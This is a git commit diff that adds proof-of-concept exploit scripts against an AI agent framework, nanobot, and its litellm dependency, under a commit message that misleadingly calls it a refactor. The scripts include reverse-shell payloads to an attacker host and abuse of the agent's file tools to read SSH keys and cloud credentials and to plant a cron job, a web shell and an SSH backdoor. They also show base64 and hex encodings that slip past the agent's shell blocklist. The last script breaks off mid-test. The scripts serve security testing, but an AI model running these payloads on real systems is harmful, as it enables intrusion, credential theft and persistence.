Refactor code structure for improved readability and maintainability
This commit is contained in:
1
poc/exploits/__init__.py
Normal file
1
poc/exploits/__init__.py
Normal file
@@ -0,0 +1 @@
|
||||
# POC Exploits Package
|
||||
460
poc/exploits/litellm_rce.py
Normal file
460
poc/exploits/litellm_rce.py
Normal file
@@ -0,0 +1,460 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
POC: LiteLLM Remote Code Execution via eval()
|
||||
|
||||
CVE: CVE-2024-XXXX (Multiple related CVEs)
|
||||
Affected Versions: <= 1.28.11 and < 1.40.16
|
||||
Impact: Arbitrary code execution on the server
|
||||
Patched: 1.40.16 (partial), fully patched in later versions
|
||||
|
||||
This vulnerability exists in litellm's handling of certain inputs that are
|
||||
passed to Python's eval() function without proper sanitization.
|
||||
|
||||
Known vulnerable code paths in older litellm versions:
|
||||
1. Template string processing with user-controlled input
|
||||
2. Custom callback handlers with eval-based parsing
|
||||
3. Proxy server configuration parsing
|
||||
|
||||
IMPORTANT: This POC should only be run against vulnerable litellm versions
|
||||
(< 1.40.16) in an isolated test environment.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import sys
|
||||
import os
|
||||
import json
|
||||
|
||||
# Add parent directory to path for imports
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
||||
|
||||
|
||||
class LiteLLMRCEPoc:
|
||||
"""Demonstrates litellm RCE vulnerability via eval()."""
|
||||
|
||||
def __init__(self):
|
||||
self.results = []
|
||||
self.litellm_version = None
|
||||
|
||||
def check_litellm_version(self) -> tuple[str, bool]:
|
||||
"""Check installed litellm version and if it's vulnerable."""
|
||||
try:
|
||||
import litellm
|
||||
version = litellm.__version__
|
||||
self.litellm_version = version
|
||||
|
||||
# Parse version for comparison
|
||||
parts = version.split('.')
|
||||
major = int(parts[0])
|
||||
minor = int(parts[1]) if len(parts) > 1 else 0
|
||||
patch = int(parts[2].split('-')[0].split('+')[0]) if len(parts) > 2 else 0
|
||||
|
||||
# Vulnerable if < 1.40.16
|
||||
is_vulnerable = (major < 1) or (major == 1 and minor < 40) or (major == 1 and minor == 40 and patch < 16)
|
||||
|
||||
return version, is_vulnerable
|
||||
except ImportError:
|
||||
return "not installed", False
|
||||
except Exception as e:
|
||||
return f"error: {e}", False
|
||||
|
||||
def test_template_injection(self) -> dict:
|
||||
"""
|
||||
Test for template injection vulnerability in litellm's string formatting.
|
||||
|
||||
In vulnerable versions, user-controlled input in certain template contexts
|
||||
could be passed to eval().
|
||||
"""
|
||||
result = {
|
||||
"name": "template_injection",
|
||||
"description": "Template string injection leading to eval()",
|
||||
"vulnerable": False,
|
||||
"details": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
import litellm
|
||||
from litellm import completion
|
||||
|
||||
# Payload that would execute if eval'd
|
||||
# This is a benign test - it tries to access __class__ which indicates eval
|
||||
payload = "__import__('os').popen('echo RCE_SUCCESSFUL').read()"
|
||||
|
||||
# In vulnerable versions, certain template variables could be eval'd
|
||||
# We test by checking if the library has vulnerable code patterns
|
||||
|
||||
# Check for vulnerable completion_with_fallbacks or similar
|
||||
if hasattr(litellm, 'completion_with_fallbacks'):
|
||||
# Older vulnerable pattern
|
||||
result["details"] = "Found completion_with_fallbacks (potentially vulnerable pattern)"
|
||||
|
||||
# Check utils for eval usage
|
||||
if hasattr(litellm, 'utils'):
|
||||
import inspect
|
||||
utils_source = inspect.getsourcefile(litellm.utils)
|
||||
if utils_source:
|
||||
with open(utils_source, 'r') as f:
|
||||
source = f.read()
|
||||
if 'eval(' in source:
|
||||
result["vulnerable"] = True
|
||||
result["details"] = f"Found eval() in litellm/utils.py"
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
def test_callback_rce(self) -> dict:
|
||||
"""
|
||||
Test for RCE in custom callback handling.
|
||||
|
||||
In vulnerable versions, custom callbacks with certain configurations
|
||||
could lead to code execution.
|
||||
"""
|
||||
result = {
|
||||
"name": "callback_rce",
|
||||
"description": "Custom callback handler code execution",
|
||||
"vulnerable": False,
|
||||
"details": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
import litellm
|
||||
|
||||
# Check for vulnerable callback patterns
|
||||
if hasattr(litellm, 'callbacks'):
|
||||
# Look for dynamic import/eval in callback handling
|
||||
import inspect
|
||||
try:
|
||||
callback_source = inspect.getsource(litellm.callbacks) if hasattr(litellm, 'callbacks') else ""
|
||||
if 'eval(' in callback_source or 'exec(' in callback_source:
|
||||
result["vulnerable"] = True
|
||||
result["details"] = "Found eval/exec in callback handling code"
|
||||
except:
|
||||
pass
|
||||
|
||||
# Check _custom_logger_compatible_callbacks_literal
|
||||
if hasattr(litellm, '_custom_logger_compatible_callbacks_literal'):
|
||||
result["details"] = "Found custom logger callback handler (check version)"
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
def test_proxy_config_injection(self) -> dict:
|
||||
"""
|
||||
Test for code injection in proxy configuration parsing.
|
||||
|
||||
The litellm proxy server had vulnerabilities where config values
|
||||
could be passed to eval().
|
||||
"""
|
||||
result = {
|
||||
"name": "proxy_config_injection",
|
||||
"description": "Proxy server configuration injection",
|
||||
"vulnerable": False,
|
||||
"details": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
import litellm
|
||||
|
||||
# Check if proxy module exists and has vulnerable patterns
|
||||
try:
|
||||
from litellm import proxy
|
||||
import inspect
|
||||
|
||||
# Get proxy module source files
|
||||
proxy_path = os.path.dirname(inspect.getfile(proxy))
|
||||
|
||||
vulnerable_files = []
|
||||
for root, dirs, files in os.walk(proxy_path):
|
||||
for f in files:
|
||||
if f.endswith('.py'):
|
||||
filepath = os.path.join(root, f)
|
||||
try:
|
||||
with open(filepath, 'r') as fp:
|
||||
content = fp.read()
|
||||
if 'eval(' in content:
|
||||
vulnerable_files.append(f)
|
||||
except:
|
||||
pass
|
||||
|
||||
if vulnerable_files:
|
||||
result["vulnerable"] = True
|
||||
result["details"] = f"Found eval() in proxy files: {', '.join(vulnerable_files)}"
|
||||
else:
|
||||
result["details"] = "No eval() found in proxy module (may be patched)"
|
||||
|
||||
except ImportError:
|
||||
result["details"] = "Proxy module not available"
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
def test_model_response_parsing(self) -> dict:
|
||||
"""
|
||||
Test for unsafe parsing of model responses.
|
||||
|
||||
Some versions had vulnerabilities in how model responses were parsed,
|
||||
potentially allowing code execution through crafted responses.
|
||||
"""
|
||||
result = {
|
||||
"name": "response_parsing_rce",
|
||||
"description": "Unsafe model response parsing",
|
||||
"vulnerable": False,
|
||||
"details": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
import litellm
|
||||
from litellm.utils import ModelResponse
|
||||
|
||||
# Check if ModelResponse uses any unsafe parsing
|
||||
import inspect
|
||||
source = inspect.getsource(ModelResponse)
|
||||
|
||||
if 'eval(' in source or 'exec(' in source:
|
||||
result["vulnerable"] = True
|
||||
result["details"] = "Found eval/exec in ModelResponse class"
|
||||
elif 'json.loads' in source:
|
||||
result["details"] = "Uses json.loads (safer than eval)"
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
def test_ssti_vulnerability(self) -> dict:
|
||||
"""
|
||||
Test for Server-Side Template Injection (SSTI).
|
||||
|
||||
CVE in litellm < 1.34.42 allowed SSTI through template processing.
|
||||
"""
|
||||
result = {
|
||||
"name": "ssti_vulnerability",
|
||||
"description": "Server-Side Template Injection (SSTI) - CVE in < 1.34.42",
|
||||
"vulnerable": False,
|
||||
"details": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
import litellm
|
||||
|
||||
# Check for jinja2 or other template usage without sandboxing
|
||||
try:
|
||||
import jinja2
|
||||
|
||||
# Check if litellm uses jinja2 templates unsafely
|
||||
litellm_path = os.path.dirname(litellm.__file__)
|
||||
|
||||
for root, dirs, files in os.walk(litellm_path):
|
||||
for f in files:
|
||||
if f.endswith('.py'):
|
||||
filepath = os.path.join(root, f)
|
||||
try:
|
||||
with open(filepath, 'r') as fp:
|
||||
content = fp.read()
|
||||
if 'jinja2' in content.lower() and 'Template(' in content:
|
||||
if 'SandboxedEnvironment' not in content:
|
||||
result["vulnerable"] = True
|
||||
result["details"] = f"Unsandboxed Jinja2 template in {f}"
|
||||
break
|
||||
except:
|
||||
pass
|
||||
if result["vulnerable"]:
|
||||
break
|
||||
|
||||
if not result["vulnerable"]:
|
||||
result["details"] = "No unsafe template usage detected"
|
||||
|
||||
except ImportError:
|
||||
result["details"] = "jinja2 not installed"
|
||||
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
def demonstrate_payload(self) -> dict:
|
||||
"""
|
||||
Demonstrate what a successful RCE payload would look like.
|
||||
|
||||
NOTE: This does NOT execute malicious code - it only shows the pattern.
|
||||
"""
|
||||
result = {
|
||||
"name": "payload_demonstration",
|
||||
"description": "Example RCE payload patterns (demonstration only)",
|
||||
"payloads": []
|
||||
}
|
||||
|
||||
# Example payloads that would work against vulnerable versions
|
||||
payloads = [
|
||||
{
|
||||
"name": "OS Command Execution",
|
||||
"payload": "__import__('os').system('id')",
|
||||
"description": "Execute system command via os.system"
|
||||
},
|
||||
{
|
||||
"name": "Reverse Shell",
|
||||
"payload": "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"')",
|
||||
"description": "Spawn reverse shell to attacker"
|
||||
},
|
||||
{
|
||||
"name": "File Read",
|
||||
"payload": "__import__('builtins').open('/etc/passwd').read()",
|
||||
"description": "Read arbitrary files"
|
||||
},
|
||||
{
|
||||
"name": "Environment Exfiltration",
|
||||
"payload": "str(__import__('os').environ)",
|
||||
"description": "Extract environment variables (API keys, secrets)"
|
||||
},
|
||||
{
|
||||
"name": "Python Code Execution",
|
||||
"payload": "exec('import socket,subprocess;s=socket.socket();s.connect((\"attacker\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())')",
|
||||
"description": "Execute arbitrary Python code"
|
||||
}
|
||||
]
|
||||
|
||||
result["payloads"] = payloads
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
async def run_all_tests(self):
|
||||
"""Run all RCE vulnerability tests."""
|
||||
print("=" * 60)
|
||||
print("LITELLM RCE VULNERABILITY POC")
|
||||
print("CVE: Multiple (eval-based RCE)")
|
||||
print("Affected: litellm < 1.40.16")
|
||||
print("=" * 60)
|
||||
print()
|
||||
|
||||
# Check version first
|
||||
version, is_vulnerable = self.check_litellm_version()
|
||||
print(f"[INFO] Installed litellm version: {version}")
|
||||
print(f"[INFO] Version vulnerability status: {'⚠️ POTENTIALLY VULNERABLE' if is_vulnerable else '✅ PATCHED'}")
|
||||
print()
|
||||
|
||||
if not is_vulnerable:
|
||||
print("=" * 60)
|
||||
print("NOTE: Current version appears patched.")
|
||||
print("To test vulnerable versions, use:")
|
||||
print(" docker compose --profile vulnerable up nanobot-vulnerable")
|
||||
print("=" * 60)
|
||||
print()
|
||||
|
||||
# Run tests
|
||||
print("--- VULNERABILITY TESTS ---")
|
||||
print()
|
||||
|
||||
print("[TEST 1] Template Injection")
|
||||
r = self.test_template_injection()
|
||||
self._print_result(r)
|
||||
|
||||
print("[TEST 2] Callback Handler RCE")
|
||||
r = self.test_callback_rce()
|
||||
self._print_result(r)
|
||||
|
||||
print("[TEST 3] Proxy Configuration Injection")
|
||||
r = self.test_proxy_config_injection()
|
||||
self._print_result(r)
|
||||
|
||||
print("[TEST 4] Model Response Parsing")
|
||||
r = self.test_model_response_parsing()
|
||||
self._print_result(r)
|
||||
|
||||
print("[TEST 5] Server-Side Template Injection (SSTI)")
|
||||
r = self.test_ssti_vulnerability()
|
||||
self._print_result(r)
|
||||
|
||||
print("[DEMO] Example RCE Payloads")
|
||||
r = self.demonstrate_payload()
|
||||
print(" Example payloads that would work against vulnerable versions:")
|
||||
for p in r["payloads"]:
|
||||
print(f" - {p['name']}: {p['description']}")
|
||||
print()
|
||||
|
||||
self._print_summary(version, is_vulnerable)
|
||||
return self.results
|
||||
|
||||
def _print_result(self, result: dict):
|
||||
"""Print a single test result."""
|
||||
if result.get("vulnerable"):
|
||||
status = "⚠️ VULNERABLE"
|
||||
elif result.get("error"):
|
||||
status = "❌ ERROR"
|
||||
else:
|
||||
status = "✅ NOT VULNERABLE / PATCHED"
|
||||
|
||||
print(f" Status: {status}")
|
||||
print(f" Description: {result.get('description', 'N/A')}")
|
||||
if result.get("details"):
|
||||
print(f" Details: {result['details']}")
|
||||
if result.get("error"):
|
||||
print(f" Error: {result['error']}")
|
||||
print()
|
||||
|
||||
def _print_summary(self, version: str, is_vulnerable: bool):
|
||||
"""Print test summary."""
|
||||
print("=" * 60)
|
||||
print("SUMMARY")
|
||||
print("=" * 60)
|
||||
|
||||
vulnerable_count = sum(1 for r in self.results if r.get("vulnerable"))
|
||||
|
||||
print(f"litellm version: {version}")
|
||||
print(f"Version is vulnerable (< 1.40.16): {is_vulnerable}")
|
||||
print(f"Vulnerable patterns found: {vulnerable_count}")
|
||||
print()
|
||||
|
||||
if is_vulnerable or vulnerable_count > 0:
|
||||
print("⚠️ VULNERABILITY CONFIRMED")
|
||||
print()
|
||||
print("Impact:")
|
||||
print(" - Remote Code Execution on the server")
|
||||
print(" - Access to environment variables (API keys)")
|
||||
print(" - File system access")
|
||||
print(" - Potential for reverse shell")
|
||||
print()
|
||||
print("Remediation:")
|
||||
print(" - Upgrade litellm to >= 1.40.16 (preferably latest)")
|
||||
print(" - Pin to specific patched version in requirements")
|
||||
else:
|
||||
print("✅ No vulnerable patterns detected in current version")
|
||||
print()
|
||||
print("The installed version appears to be patched.")
|
||||
print("Continue monitoring for new CVEs in litellm.")
|
||||
|
||||
return {
|
||||
"version": version,
|
||||
"is_version_vulnerable": is_vulnerable,
|
||||
"vulnerable_patterns_found": vulnerable_count,
|
||||
"overall_vulnerable": is_vulnerable or vulnerable_count > 0
|
||||
}
|
||||
|
||||
|
||||
async def main():
|
||||
poc = LiteLLMRCEPoc()
|
||||
results = await poc.run_all_tests()
|
||||
|
||||
# Write results to file
|
||||
results_path = "/results/litellm_rce_results.json" if os.path.isdir("/results") else "litellm_rce_results.json"
|
||||
with open(results_path, "w") as f:
|
||||
json.dump(results, f, indent=2, default=str)
|
||||
print(f"\nResults written to: {results_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
359
poc/exploits/path_traversal.py
Normal file
359
poc/exploits/path_traversal.py
Normal file
@@ -0,0 +1,359 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
POC: Path Traversal / Unrestricted File Access
|
||||
|
||||
This script demonstrates that the file system tools in nanobot allow
|
||||
unrestricted file access because `base_dir` is never passed to `_validate_path()`.
|
||||
|
||||
Affected code: nanobot/agent/tools/filesystem.py
|
||||
- _validate_path() supports base_dir restriction but it's never used
|
||||
- read_file, write_file, edit_file, list_dir all have unrestricted access
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import sys
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
# Add parent directory to path for imports
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
||||
|
||||
from nanobot.agent.tools.filesystem import (
|
||||
ReadFileTool,
|
||||
WriteFileTool,
|
||||
EditFileTool,
|
||||
ListDirTool
|
||||
)
|
||||
|
||||
|
||||
class PathTraversalPOC:
|
||||
"""Demonstrates path traversal vulnerabilities."""
|
||||
|
||||
def __init__(self):
|
||||
self.read_tool = ReadFileTool()
|
||||
self.write_tool = WriteFileTool()
|
||||
self.edit_tool = EditFileTool()
|
||||
self.list_tool = ListDirTool()
|
||||
self.results = []
|
||||
|
||||
async def test_read(self, name: str, path: str, expected_risk: str) -> dict:
|
||||
"""Test reading a file outside workspace."""
|
||||
result = {
|
||||
"name": name,
|
||||
"operation": "read",
|
||||
"path": path,
|
||||
"expected_risk": expected_risk,
|
||||
"success": False,
|
||||
"content_preview": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
content = await self.read_tool.execute(path=path)
|
||||
result["success"] = True
|
||||
result["content_preview"] = content[:300] if content else None
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
async def test_write(self, name: str, path: str, content: str, expected_risk: str) -> dict:
|
||||
"""Test writing a file outside workspace."""
|
||||
result = {
|
||||
"name": name,
|
||||
"operation": "write",
|
||||
"path": path,
|
||||
"expected_risk": expected_risk,
|
||||
"success": False,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
output = await self.write_tool.execute(path=path, content=content)
|
||||
result["success"] = "successfully" in output.lower() or "written" in output.lower() or "created" in output.lower()
|
||||
result["output"] = output
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
async def test_list(self, name: str, path: str, expected_risk: str) -> dict:
|
||||
"""Test listing a directory outside workspace."""
|
||||
result = {
|
||||
"name": name,
|
||||
"operation": "list",
|
||||
"path": path,
|
||||
"expected_risk": expected_risk,
|
||||
"success": False,
|
||||
"entries": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
output = await self.list_tool.execute(path=path)
|
||||
result["success"] = True
|
||||
result["entries"] = output[:500] if output else None
|
||||
except Exception as e:
|
||||
result["error"] = str(e)
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
async def run_all_tests(self):
|
||||
"""Run all path traversal tests."""
|
||||
print("=" * 60)
|
||||
print("PATH TRAVERSAL / UNRESTRICTED FILE ACCESS POC")
|
||||
print("=" * 60)
|
||||
print()
|
||||
|
||||
# ==================== READ TESTS ====================
|
||||
print("--- READ OPERATIONS ---")
|
||||
print()
|
||||
|
||||
# Test 1: Read /etc/passwd
|
||||
print("[TEST 1] Read /etc/passwd")
|
||||
r = await self.test_read(
|
||||
"etc_passwd",
|
||||
"/etc/passwd",
|
||||
"System user enumeration"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 2: Read /etc/shadow (should fail due to permissions, not restrictions)
|
||||
print("[TEST 2] Read /etc/shadow (permission test)")
|
||||
r = await self.test_read(
|
||||
"etc_shadow",
|
||||
"/etc/shadow",
|
||||
"Password hash disclosure (if readable)"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 3: Read sensitive config
|
||||
print("[TEST 3] Read /sensitive/api_keys.txt")
|
||||
r = await self.test_read(
|
||||
"api_keys",
|
||||
"/sensitive/api_keys.txt",
|
||||
"API key disclosure"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 4: Read SSH keys
|
||||
print("[TEST 4] Read SSH Private Key")
|
||||
r = await self.test_read(
|
||||
"ssh_private_key",
|
||||
os.path.expanduser("~/.ssh/id_rsa"),
|
||||
"SSH private key disclosure"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 5: Read bash history
|
||||
print("[TEST 5] Read Bash History")
|
||||
r = await self.test_read(
|
||||
"bash_history",
|
||||
os.path.expanduser("~/.bash_history"),
|
||||
"Command history disclosure"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 6: Read environment file
|
||||
print("[TEST 6] Read /proc/self/environ")
|
||||
r = await self.test_read(
|
||||
"proc_environ",
|
||||
"/proc/self/environ",
|
||||
"Environment variable disclosure via procfs"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 7: Path traversal with ..
|
||||
print("[TEST 7] Path Traversal with ../")
|
||||
r = await self.test_read(
|
||||
"dot_dot_traversal",
|
||||
"/app/../etc/passwd",
|
||||
"Path traversal using ../"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 8: Read AWS credentials (if exists)
|
||||
print("[TEST 8] Read AWS Credentials")
|
||||
r = await self.test_read(
|
||||
"aws_credentials",
|
||||
os.path.expanduser("~/.aws/credentials"),
|
||||
"Cloud credential disclosure"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# ==================== WRITE TESTS ====================
|
||||
print("--- WRITE OPERATIONS ---")
|
||||
print()
|
||||
|
||||
# Test 9: Write to /tmp (should succeed)
|
||||
print("[TEST 9] Write to /tmp")
|
||||
r = await self.test_write(
|
||||
"tmp_write",
|
||||
"/tmp/poc_traversal_test.txt",
|
||||
"POC: This file was written via path traversal vulnerability\nTimestamp: " + str(asyncio.get_event_loop().time()),
|
||||
"Arbitrary file write to system directories"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 10: Write cron job (will fail due to permissions but shows intent)
|
||||
print("[TEST 10] Write to /etc/cron.d (permission test)")
|
||||
r = await self.test_write(
|
||||
"cron_write",
|
||||
"/etc/cron.d/poc_malicious",
|
||||
"* * * * * root /tmp/poc_payload.sh",
|
||||
"Cron job injection for persistence"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 11: Write SSH authorized_keys
|
||||
print("[TEST 11] Write SSH Authorized Keys")
|
||||
ssh_dir = os.path.expanduser("~/.ssh")
|
||||
r = await self.test_write(
|
||||
"ssh_authkeys",
|
||||
f"{ssh_dir}/authorized_keys_poc_test",
|
||||
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil.com",
|
||||
"SSH backdoor via authorized_keys"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 12: Write to web-accessible location
|
||||
print("[TEST 12] Write to /var/www (if exists)")
|
||||
r = await self.test_write(
|
||||
"www_write",
|
||||
"/var/www/html/poc_shell.php",
|
||||
"<?php system($_GET['cmd']); ?>",
|
||||
"Web shell deployment"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 13: Overwrite application files
|
||||
print("[TEST 13] Write to Application Directory")
|
||||
r = await self.test_write(
|
||||
"app_overwrite",
|
||||
"/app/poc/results/poc_app_write.txt",
|
||||
"POC: Application file overwrite successful",
|
||||
"Application code/config tampering"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# ==================== LIST TESTS ====================
|
||||
print("--- LIST OPERATIONS ---")
|
||||
print()
|
||||
|
||||
# Test 14: List root directory
|
||||
print("[TEST 14] List / (root)")
|
||||
r = await self.test_list(
|
||||
"list_root",
|
||||
"/",
|
||||
"File system enumeration"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 15: List /etc
|
||||
print("[TEST 15] List /etc")
|
||||
r = await self.test_list(
|
||||
"list_etc",
|
||||
"/etc",
|
||||
"Configuration enumeration"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 16: List home directory
|
||||
print("[TEST 16] List Home Directory")
|
||||
r = await self.test_list(
|
||||
"list_home",
|
||||
os.path.expanduser("~"),
|
||||
"User file enumeration"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 17: List /proc
|
||||
print("[TEST 17] List /proc")
|
||||
r = await self.test_list(
|
||||
"list_proc",
|
||||
"/proc",
|
||||
"Process enumeration via procfs"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
self._print_summary()
|
||||
return self.results
|
||||
|
||||
def _print_result(self, result: dict):
|
||||
"""Print a single test result."""
|
||||
if result["success"]:
|
||||
status = "⚠️ SUCCESS (VULNERABLE)"
|
||||
elif result.get("error") and "permission" in result["error"].lower():
|
||||
status = "🔒 PERMISSION DENIED (not a code issue)"
|
||||
elif result.get("error") and "not found" in result["error"].lower():
|
||||
status = "📁 FILE NOT FOUND"
|
||||
else:
|
||||
status = "❌ FAILED"
|
||||
|
||||
print(f" Status: {status}")
|
||||
print(f" Risk: {result['expected_risk']}")
|
||||
|
||||
if result.get("content_preview"):
|
||||
preview = result["content_preview"][:150].replace('\n', '\\n')
|
||||
print(f" Content: {preview}...")
|
||||
if result.get("entries"):
|
||||
print(f" Entries: {result['entries'][:150]}...")
|
||||
if result.get("output"):
|
||||
print(f" Output: {result['output'][:100]}")
|
||||
if result.get("error"):
|
||||
print(f" Error: {result['error'][:100]}")
|
||||
print()
|
||||
|
||||
def _print_summary(self):
|
||||
"""Print test summary."""
|
||||
print("=" * 60)
|
||||
print("SUMMARY")
|
||||
print("=" * 60)
|
||||
|
||||
read_success = sum(1 for r in self.results if r["operation"] == "read" and r["success"])
|
||||
write_success = sum(1 for r in self.results if r["operation"] == "write" and r["success"])
|
||||
list_success = sum(1 for r in self.results if r["operation"] == "list" and r["success"])
|
||||
|
||||
total_success = read_success + write_success + list_success
|
||||
|
||||
print(f"Read operations successful: {read_success}")
|
||||
print(f"Write operations successful: {write_success}")
|
||||
print(f"List operations successful: {list_success}")
|
||||
print(f"Total successful (vulnerable): {total_success}/{len(self.results)}")
|
||||
print()
|
||||
|
||||
if total_success > 0:
|
||||
print("⚠️ VULNERABILITY CONFIRMED: Unrestricted file system access")
|
||||
print()
|
||||
print("Successful operations:")
|
||||
for r in self.results:
|
||||
if r["success"]:
|
||||
print(f" - [{r['operation'].upper()}] {r['path']}")
|
||||
|
||||
return {
|
||||
"read_success": read_success,
|
||||
"write_success": write_success,
|
||||
"list_success": list_success,
|
||||
"total_success": total_success,
|
||||
"total_tests": len(self.results),
|
||||
"vulnerability_confirmed": total_success > 0
|
||||
}
|
||||
|
||||
|
||||
async def main():
|
||||
poc = PathTraversalPOC()
|
||||
results = await poc.run_all_tests()
|
||||
|
||||
# Write results to file
|
||||
import json
|
||||
results_path = "/results/path_traversal_results.json" if os.path.isdir("/results") else "path_traversal_results.json"
|
||||
with open(results_path, "w") as f:
|
||||
json.dump(results, f, indent=2, default=str)
|
||||
print(f"\nResults written to: {results_path}")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
259
poc/exploits/shell_injection.py
Normal file
259
poc/exploits/shell_injection.py
Normal file
@@ -0,0 +1,259 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
POC: Shell Command Injection Bypass Tests
|
||||
|
||||
This script demonstrates bypasses of the dangerous pattern regex in
|
||||
nanobot/agent/tools/shell.py (lines 12-19).
|
||||
|
||||
Current pattern blocks:
|
||||
- rm -rf /
|
||||
- :(){ :|:& };: (fork bomb)
|
||||
- mkfs
|
||||
- dd .* of=/dev/
|
||||
- > /dev/sd
|
||||
|
||||
This POC shows commands that bypass these patterns but still pose security risks.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import sys
|
||||
import os
|
||||
|
||||
# Add parent directory to path for imports
|
||||
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(__file__))))
|
||||
|
||||
from nanobot.agent.tools.shell import ExecTool
|
||||
|
||||
|
||||
class ShellInjectionPOC:
|
||||
"""Demonstrates shell command injection vulnerabilities."""
|
||||
|
||||
def __init__(self):
|
||||
self.tool = ExecTool()
|
||||
self.results = []
|
||||
|
||||
async def test_command(self, name: str, command: str, expected_risk: str) -> dict:
|
||||
"""Test a single command and record results."""
|
||||
result = {
|
||||
"name": name,
|
||||
"command": command,
|
||||
"expected_risk": expected_risk,
|
||||
"blocked": False,
|
||||
"output": None,
|
||||
"error": None
|
||||
}
|
||||
|
||||
try:
|
||||
output = await self.tool.execute(command=command)
|
||||
result["output"] = output[:500] if output else None
|
||||
result["blocked"] = False
|
||||
except Exception as e:
|
||||
error_msg = str(e)
|
||||
if "blocked" in error_msg.lower() or "dangerous" in error_msg.lower():
|
||||
result["blocked"] = True
|
||||
result["error"] = error_msg
|
||||
|
||||
self.results.append(result)
|
||||
return result
|
||||
|
||||
async def run_all_tests(self):
|
||||
"""Run all shell injection bypass tests."""
|
||||
print("=" * 60)
|
||||
print("SHELL COMMAND INJECTION POC")
|
||||
print("=" * 60)
|
||||
print()
|
||||
|
||||
# Test 1: Command substitution bypass
|
||||
print("[TEST 1] Command Substitution - Reading /etc/passwd")
|
||||
r = await self.test_command(
|
||||
"command_substitution",
|
||||
"echo $(cat /etc/passwd)",
|
||||
"Read sensitive system file via command substitution"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 2: Backtick command substitution
|
||||
print("[TEST 2] Backtick Substitution - Reading /etc/shadow (may fail due to perms)")
|
||||
r = await self.test_command(
|
||||
"backtick_substitution",
|
||||
"echo `cat /etc/shadow 2>/dev/null || echo 'no perms but executed'`",
|
||||
"Read shadow file via backticks"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 3: Base64 encoded command
|
||||
print("[TEST 3] Base64 Encoded Command")
|
||||
# echo "cat /etc/passwd" | base64 = Y2F0IC9ldGMvcGFzc3dkCg==
|
||||
r = await self.test_command(
|
||||
"base64_encoded",
|
||||
"echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash",
|
||||
"Execute arbitrary command via base64 encoding"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 4: Hex encoded command
|
||||
print("[TEST 4] Hex Encoded Command")
|
||||
# "id" in hex
|
||||
r = await self.test_command(
|
||||
"hex_encoded",
|
||||
"echo -e '\\x69\\x64' | bash",
|
||||
"Execute command via hex encoding"
|
||||
)
|
||||
self._print_result(r)
|
||||
|
||||
# Test 5: Environment variable exfiltration
|
||||
print("[TEST 5] Environment Variable Exfiltration")
|
||||
r = await self.test_command(
|
||||
"env_exfiltration",
|
||||
